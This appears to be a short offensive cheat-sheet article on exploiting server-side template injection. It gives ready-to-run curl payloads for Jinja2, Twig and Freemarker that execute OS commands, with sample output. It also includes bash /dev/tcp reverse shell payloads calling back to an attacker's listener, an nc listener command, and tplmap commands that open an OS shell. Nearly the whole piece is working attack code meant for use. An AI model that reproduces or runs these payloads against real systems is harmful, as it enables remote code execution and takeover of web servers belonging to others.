Skip to content
HackIndex logo

HackIndex

SSTI Exploitation

2 min read Jul 14, 2026

SSTI exploitation uses the template engine's access to language internals to execute OS commands. The payload depends entirely on the engine identified during SSTI detection. Jinja2 (Python), Twig (PHP), and Freemarker (Java) each require different payload chains to reach OS execution.

Jinja2 — Python RCE

Jinja2 runs in Python context. The payload walks the Python object hierarchy to reach the os module and execute commands. Confirm Jinja2 first with 49 returning 49:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()[0].decode()}}"

The subclasses index varies by Python version. If 408 does not work, enumerate to find the subprocess.Popen class:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{''.__class__.__mro__[1].__subclasses__()}}" | grep -o 'Popen'

Jinja2 — Reverse Shell

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"').read()}}"

Twig — PHP RCE

Twig runs in PHP context. Use the _self object to access the Twig environment and call PHP system functions:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"')}}"

Freemarker — Java RCE

Freemarker runs in Java context and uses the freemarker.template.utility.Execute class for command execution:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name=<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}"
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

tplmap for Automated Exploitation

┌──(kali㉿kali)-[~]
└─$ tplmap -u "http://$TARGET_IP:$PORT/page?name=test" --os-shell
┌──(kali㉿kali)-[~]
└─$ tplmap -u "http://$TARGET_IP:$PORT/page?name=test" --os-cmd id

References